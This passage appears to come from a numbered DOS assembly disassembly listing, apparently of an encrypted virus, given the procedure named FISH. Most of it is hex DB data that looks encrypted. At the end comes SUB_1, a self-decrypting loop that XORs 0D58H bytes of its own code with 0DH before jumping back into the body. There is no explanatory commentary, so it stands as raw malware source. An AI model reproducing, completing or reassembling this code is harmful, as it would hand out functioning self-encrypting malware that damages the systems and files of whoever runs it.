  495.                 DB      0E5H,0A1H, 0FH, 5FH,0B9H, 3BH
  496.                 DB       23H, 87H, 1BH, 25H, 03H,0E5H
  497.                 DB      0FFH,0FBH,0FAH,0ECH,0FAH,0EEH
  498.                 DB       84H,0DEH, 57H, 06H,0D6H, 78H
  499.                 DB       08H, 30H, 0DH, 4DH, 7FH, 45H
  500.                 DB      0B5H, 0DH, 4EH,0E5H,0D1H,0FBH
  501.                 DB       7FH, 4DH, 23H, 84H, 1BH,0F9H
  502.                 DB       03H, 23H, 84H, 03H,0FFH, 03H
  503.                 DB       23H, 81H, 13H,0FBH, 03H,0B5H
  504.                 DB       0CH, 4EH, 3EH,0C4H,0E5H,0CEH
  505.                 DB      0FBH, 23H, 8DH, 33H,0D7H, 03H
  506.                 DB       0DH, 78H, 2CH,0B5H, 0FH, 30H
  507.                 DB      0E5H,0B8H,0FBH, 7FH, 14H, 86H
  508.                 DB      0D5H, 5EH,0B9H, 3FH, 23H, 87H
  509.                 DB       1BH, 25H, 03H,0E5H,0ABH,0FBH
  510.                 DB       86H, 4AH, 13H, 23H,0AEH,0E1H
  511.                 DB       03H, 56H,0E5H,0C7H, 0FH,0CEH
  512.                 DB       3EH,0D6H, 46H,0E5H,0CEH, 0FH
  513.                 DB      0CEH, 5CH, 5FH, 5DH,0B5H, 0DH
  514.                 DB       49H,0E5H, 87H,0FBH, 8DH,0FFH
  515.                 DB       8DH,0FBH,0CFH, 8DH, 79H, 04H
  516.                 DB      0B5H, 0DH, 5AH,0E5H, 71H,0FBH
  517.                 DB      0FBH,0CBH, 8DH, 55H, 57H, 54H
  518.                 DB      0CEH,0E5H,0C0H,0FBH, 3EH,0C4H
  519.                 DB      0B5H, 0CH, 4FH, 3EH,0DFH,0E5H
  520.                 DB       65H,0FBH, 23H, 84H, 1BH,0AAH
  521.                 DB       03H, 23H,0AEH,0A8H, 03H,0B5H
  522.                 DB       0FH, 4FH, 3EH,0C4H, 3EH,0DFH
  523.                 DB      0E5H, 58H,0FBH, 23H, 84H, 1BH
  524.                 DB      0A6H, 03H, 23H,0AEH,0A4H, 03H
  525.                 DB      0B5H, 0DH, 4FH, 23H, 86H, 1BH
  526.                 DB      0A8H, 03H, 23H, 86H, 03H,0AAH
  527.                 DB       03H,0E5H, 31H,0FBH,0E5H, 62H
  528.                 DB      0FBH,0CEH, 4BH, 44H, 5EH, 45H
  529.                 DB       07H,0CDH, 78H, 2FH, 23H, 8EH
  530.                 DB       2BH,0BEH, 03H,0F3H,0E5H, 48H
  531.                 DB      0FBH,0E5H, 29H,0FBH, 7FH, 06H
  532.                 DB      0FBH,0CBH, 8DH, 79H, 0EH, 8DH
  533.                 DB      0E3H,0C5H,0E4H, 15H,0F4H, 23H
  534.                 DB       8EH, 03H,0BEH, 03H, 0CH,0E4H
  535.                 DB       02H,0F4H, 31H, 0CH, 78H, 3AH
  536.                 DB       23H, 8EH, 2BH,0BEH, 03H,0F3H
  537.                 DB      0FBH,0CBH, 8DH, 79H, 0EH, 8DH
  538.                 DB      0E3H,0C5H,0E5H, 6BH,0F2H, 79H
  539.                 DB       0EH, 8DH,0CBH,0C5H,0E5H,0FCH
  540.                 DB      0F8H, 84H, 4BH,0F1H, 23H, 8EH
  541.                 DB       1BH,0BEH, 03H, 0DH,0E4H, 48H
  542.                 DB      0F4H, 31H, 0FH, 78H, 03H,0E5H
  543.                 DB       46H,0F2H, 79H, 04H, 8CH, 63H
  544.                 DB      0FBH, 0DH, 03H, 8EH, 53H,0F5H
  545.                 DB       0DH,0E4H,0C0H,0F5H,0E5H,0D5H
  546.                 DB      0F8H,0B9H, 27H,0E5H,0C5H,0F8H
  547.                 DB       8CH,0F4H,0CAH, 0AH, 7FH, 06H
  548.                 DB      0B9H, 04H, 03H, 12H,0B7H,0A6H
  549.                 DB       0CH,0E5H,0B5H,0F8H,0F9H,0E5H
  550.                 DB      0DFH,0F8H,0CEH, 23H, 8DH, 2BH
  551.                 DB      0BEH, 03H,0F3H,0E5H, 1AH,0F2H
  552.                 DB       79H,0D8H, 23H, 84H, 1BH,0A0H
  553.                 DB       03H, 23H, 84H, 03H,0A2H, 03H
  554.                 DB       23H,0CAH, 0BH,0BCH, 03H, 0DH
  555.                 DB       0DH,0E5H, 12H,0F2H, 23H,0ACH
  556.                 DB      0A4H, 03H, 23H, 86H, 1BH,0A6H
  557.                 DB       03H, 20H, 0DH, 03H, 8EH,0D7H
  558.                 DB       0DH, 23H, 26H, 0BH,0A8H, 03H
  559.                 DB       23H, 16H, 1BH,0AAH, 03H, 74H
  560.                 DB       05H,0CAH, 4BH,0F1H, 0DH, 0DH
  561.                 DB      0E4H, 20H,0F7H, 78H, 05H, 36H
  562.                 DB      0CCH, 7AH, 09H, 23H,0AEH,0A2H
  563.                 DB       03H, 23H, 86H, 03H,0AAH, 03H
  564.                 DB       23H, 86H, 1BH,0A8H, 03H, 06H
  565.                 DB      0C4H, 78H, 08H, 8EH,0F7H, 11H
  566.                 DB       7BH, 17H, 23H, 86H, 1BH,0A0H
  567.                 DB       03H,0B9H, 32H, 23H, 86H, 03H
  568.                 DB      0A2H, 03H,0E5H, 48H,0F8H, 23H
  569.                 DB       0EH, 0BH,0BCH, 03H, 84H, 4BH
  570.                 DB      0F1H,0E4H, 97H,0F5H, 84H,0DAH
  571.                 DB       84H,0DBH, 23H, 0EH, 33H,0A2H
  572.                 DB       03H, 8EH,0F2H, 11H, 7FH, 05H
  573.                 DB       3EH,0F2H,0E6H, 04H, 59H, 58H
  574.                 DB       43H, 4CH, 8EH,0E2H, 11H,0FAH
  575.                 DB      0D2H, 86H,0CFH, 23H, 86H, 1BH
  576.                 DB      0A4H, 03H, 23H, 86H, 03H,0A6H
  577.                 DB       03H, 8EH,0CFH, 02H, 8EH,0DCH
  578.                 DB       0DH, 8EH,0EFH,0FDH, 8CH,0E7H
  579.                 DB      0F1H, 00H, 8EH,0D4H, 0DH, 0CH
  580.                 DB      0CFH, 8EH,0DCH, 0DH,0B5H, 0DH
  581.                 DB       4FH,0E5H,0F5H,0F9H,0B4H, 11H
  582.                 DB       0DH, 24H,0F4H, 24H,0FCH,0B9H
  583.                 DB       32H, 23H, 86H, 1BH,0A0H, 03H
  584.                 DB      0E5H,0EAH,0F9H, 23H, 0CH, 0BH
  585.                 DB      0A0H, 03H, 23H, 24H, 0BH,0A2H
  586.                 DB       03H, 23H, 0CH, 0BH,0BCH, 03H
  587.                 DB       3EH,0C4H,0B5H, 0DH, 4FH,0B7H
  588.                 DB       11H, 0DH,0E5H,0C0H,0F9H,0E4H
  589.                 DB       7BH,0F2H, 23H, 2CH, 2BH, 3CH
  590.                 DB       03H,0E4H, 35H, 0CH, 23H, 8EH
  591.                 DB       2BH,0BEH, 03H,0F3H,0E5H,0DAH
  592.                 DB      0F9H,0E5H,0BBH,0F9H,0E5H,0B3H
  593.                 DB      0F9H, 7EH, 04H, 23H, 8EH, 03H
  594.                 DB      0BEH, 03H, 0CH,0E4H, 05H,0F5H
  595.                 DB      0E5H, 94H,0F4H,0FBH, 4AH, 14H
  596.                 DB       8DH, 78H, 0EH,0E4H,0F1H,0FAH
  597.                 DB       8CH, 62H, 17H, 0DH, 03H, 8EH
  598.                 DB       52H, 11H
  599.                 DB       0DH, 8DH, 62H
  600. LOC_3:
  601.                 ADC     AL,0C5H
  602.                 IN      AL,0E1H                                 ; port 0E1H, Memory encode reg1
  603.                 CLI                                             ; Disable interrupts
  604.                 OUT     83H,AL                                  ; port 83H, DMA page reg ch 1
  605.                 OR      CX,[BX+SI+3]
  606.                 OR      DX,[BP+SI]
  607.                 DB      0F3H, 03H, 0EH, 0DH, 81H,0D7H
  608.                 DB       47H, 83H,0D7H,0ACH, 0EH, 0DH
  609.                 DB      0F3H,0C1H, 0CH,0CFH,0AEH, 0EH
  610.                 DB       0DH, 52H, 4FH, 83H,0CFH, 03H
  611.                 DB       12H,0E5H,0D2H, 0DH,0ACH,0B3H
  612.                 DB      0F3H, 02H,0B4H, 0DH, 05H, 84H
  613.                 DB      0FAH,0F0H,0FEH,0A8H,0F1H, 0BH
  614.                 DB      0B5H,0D0H, 0CH, 5DH, 23H, 83H
  615.                 DB       0BH, 48H, 03H,0C6H, 23H,0CBH
  616.                 DB       0BH,0D7H, 03H, 0DH,0E5H,0AEH
  617.                 DB      0F9H, 03H,0E5H, 77H,0F2H, 85H
  618.                 DB      0BDH, 1EH, 12H,0E5H,0F1H,0F9H
  619.                 DB       81H, 0BH, 22H, 03H, 84H, 13H
  620.                 DB       20H, 03H, 81H, 0BH, 36H, 03H
  621.                 DB      0BFH, 0FH, 84H, 13H, 34H, 03H
  622.                 DB       85H, 1BH, 5DH, 03H,0E5H,0CFH
  623.                 DB      0F9H, 84H, 2BH,0D2H, 03H, 81H
  624.                 DB       1BH,0D0H, 03H, 03H,0B5H, 24H
  625.                 DB       01H, 5DH,0B5H, 7DH, 0DH,0B4H
  626.                 DB      0F2H,0F2H, 83H,0CDH, 3EH,0F2H
  627.                 DB      0BDH,0C6H,0FFH,0A3H, 42H, 91H
  628.                 DB       0BH, 5AH, 91H, 55H, 8DH,0C1H
  629.                 DB       0CH, 5DH, 90H, 3EH,0CDH,0F2H
  630.                 DB       23H, 20H, 03H, 03H, 12H,0E5H
  631.                 DB       64H, 0DH, 81H,0BDH, 1EH,0B7H
  632.                 DB       9DH, 00H,0E5H, 9EH,0F9H,0BDH
  633.                 DB       29H,0E5H,0A9H,0F9H, 84H, 13H
  634.                 DB       30H, 03H,0B7H,0C8H, 00H,0BDH
  635.                 DB       29H, 81H, 0BH, 32H, 03H,0E5H
  636.                 DB       73H,0F9H,0E5H, 05H,0F9H,0CEH
  637.                 DB      0E5H, 24H,0F9H, 23H,0C8H, 1BH
  638.                 DB       34H, 03H,0BDH, 1EH,0E5H, 60H
  639.                 DB      0F9H, 23H,0C8H, 1BH, 30H, 03H
  640.                 DB      0BDH, 29H,0E5H, 6EH,0F9H,0E5H
  641.                 DB      0E0H,0FEH,0CEH, 58H, 84H,0E8H
  642.                 DB       8CH, 6BH, 0BH,0F2H,0F3H,0F2H
  643.                 DB       4BH, 17H, 50H,0C2H, 23H,0CAH
  644.                 DB       0BH, 5DH, 03H, 0CH, 09H,0E5H
  645.                 DB       30H,0F9H,0E5H,0B7H,0FEH, 5DH
  646.                 DB       23H,0ACH,0BEH, 03H, 00H, 0DH
  647.                 DB       0CH, 5DH, 90H, 55H, 50H, 23H
  648.                 DB      0F2H, 23H, 38H, 03H, 84H,0E5H
  649.                 DB       9FH,0FEH,0BDH, 0CH,0B7H, 66H
  650.                 DB       01H, 03H, 12H,0E5H, 2BH,0F9H
  651.                 DB       91H, 55H, 00H, 0DH, 0CH, 5DH
  652.                 DB       90H, 4DH,0FAH,0EDH, 3AH,0AEH
  653.                 DB       3CH, 03H,0E5H, 87H,0FEH,0CEH
  654.                 DB      0F2H, 58H, 84H,0E8H, 5DH, 8CH
  655.                 DB       73H, 09H, 0DH,0CDH, 7EH, 01H
  656.                 DB       23H,0ACH, 4AH, 03H, 34H, 4BH
  657.                 DB       09H, 7BH, 0EH, 55H, 50H,0C2H
  658.                 DB       23H, 8DH, 33H, 5DH, 03H, 0CH
  659.                 DB       79H, 2BH, 86H, 4BH, 09H, 23H
  660.                 DB      0AEH, 22H, 03H, 86H, 4BH, 0FH
  661.                 DB       23H,0AEH, 20H, 03H, 7FH, 02H
  662.                 DB       55H, 50H, 23H, 86H, 2BH,0D2H
  663.                 DB       03H, 23H, 83H, 1BH,0D0H, 03H
  664.                 DB      0E4H, 39H,0F2H, 8CH, 6BH, 0BH
  665.                 DB      0F2H,0F3H,0E6H,0C2H, 23H,0F3H
  666.                 DB       03H, 5CH, 03H, 78H,0C5H, 8CH
  667.                 DB       6BH, 0BH,0F2H,0F3H,0E5H, 7CH
  668.                 DB      0FEH,0E5H, 13H,0FEH,0B9H, 21H
  669.                 DB      0E5H, 03H,0FEH, 23H, 85H, 1BH
  670.                 DB       5CH, 00H, 23H, 85H, 1BH, 63H
  671.                 DB       00H, 8DH,0E1H, 0FH,0E5H,0F3H
  672.                 DB      0FFH, 0FH,0FFH
  673. DATA_4          DD      893B8523H
  674.                 DB       00H, 23H, 85H, 3BH,0D1H, 00H
  675.                 DB      0BDH, 0EH,0E5H,0A1H,0FEH, 0BH
  676.                 DB       12H, 84H,0D7H,0BDH, 0CH,0E5H
  677.                 DB       80H,0FEH,0E5H,0F2H,0FFH,0E5H
  678.                 DB       52H,0FEH,0E5H, 1CH,0FEH, 5EH
  679.                 DB       5CH,0B6H, 25H, 0DH,0B4H, 8AH
  680.                 DB       0FH, 23H, 8DH, 3AH, 10H, 8EH
  681.                 DB      0CEH, 08H,0EFH,0FAH, 54H, 56H
  682.                 DB      0E6H, 97H, 23H, 8DH, 03H, 25H
  683.                 DB       0DH, 0DH, 79H, 1EH, 5EH, 5CH
  684.                 DB      0B6H, 25H, 0DH,0B4H, 8AH, 0FH
  685.                 DB       23H, 8DH, 3AH, 10H, 8EH,0CEH
  686.                 DB       08H,0EFH,0FAH, 54H, 56H,0E4H
  687.                 DB      0FEH,0F9H, 5CH, 5EH,0B6H, 25H
  688.                 DB       0DH,0B4H, 55H, 0DH, 2EH, 80H
  689.                 DB       37H, 0DH, 43H,0E2H,0F9H, 5BH
  690.                 DB       59H,0E8H, 94H,0F2H,0EBH, 3FH
  691.                 DB      0B8H, 2EH, 8FH, 06H, 41H, 0EH
  692.                 DB       2EH, 8FH, 06H, 43H, 0EH, 2EH
  693.                 DB       8FH, 06H,0DBH, 0EH, 2EH, 83H
  694.                 DB       26H,0DBH, 0EH,0FEH, 2EH, 80H
  695.                 DB       3EH,0DAH, 0EH, 00H, 75H, 11H
  696.                 DB       2EH,0FFH, 36H,0DBH, 0EH, 2EH
  697.                 DB      0FFH, 1EH, 2DH, 0EH, 73H, 06H
  698.                 DB       2EH,0FEH, 06H,0DAH, 0EH,0F9H
  699.                 DB       2EH,0FFH, 2EH, 41H, 0EH, 89H
  700.                 DB       32H,0C0H, 2EH,0C6H, 06H,0DAH
  701.                 DB       0EH, 01H,0CFH
  702. LOC_4:
  703.                 CALL    SUB_1                                   ; (0EE1)
  704.   
  705. FISH            ENDP
  706.   
  707. ;==========================================================================
  708. ;                              SUBROUTINE
  709. ;==========================================================================
  710.   
  711. SUB_1           PROC    NEAR
  712.                 POP     BX
  713.                 SUB     BX,0DA9H
  714.                 MOV     CX,0D58H
  715.   
  716. LOCLOOP_5:
  717.                 XOR     BYTE PTR CS:[BX],0DH
  718.                 INC     BX
  719.                 LOOP    LOCLOOP_5                               ; Loop if cx > 0
  720.   
  721.                 DEC     BYTE PTR CS:DATA_1E[BX]                 ; (97E0:00B3=0)
  722.                 JZ      LOC_RET_6                               ; Jump if zero
  723.                 JMP     LOC_2                                   ; (035A)
  724.   
  725. LOC_RET_6:
  726.                 RETN
  727. SUB_1           ENDP
  728.   
  729.                 AND     [BP+49H],AL
  730.                 PUSH    BX
  731.                 DEC     AX
  732.                 AND     [BP],AL
  733.   
  734. SEG_A           ENDS
  735.   
  736.   
  737.   
  738.                 END     START
  739.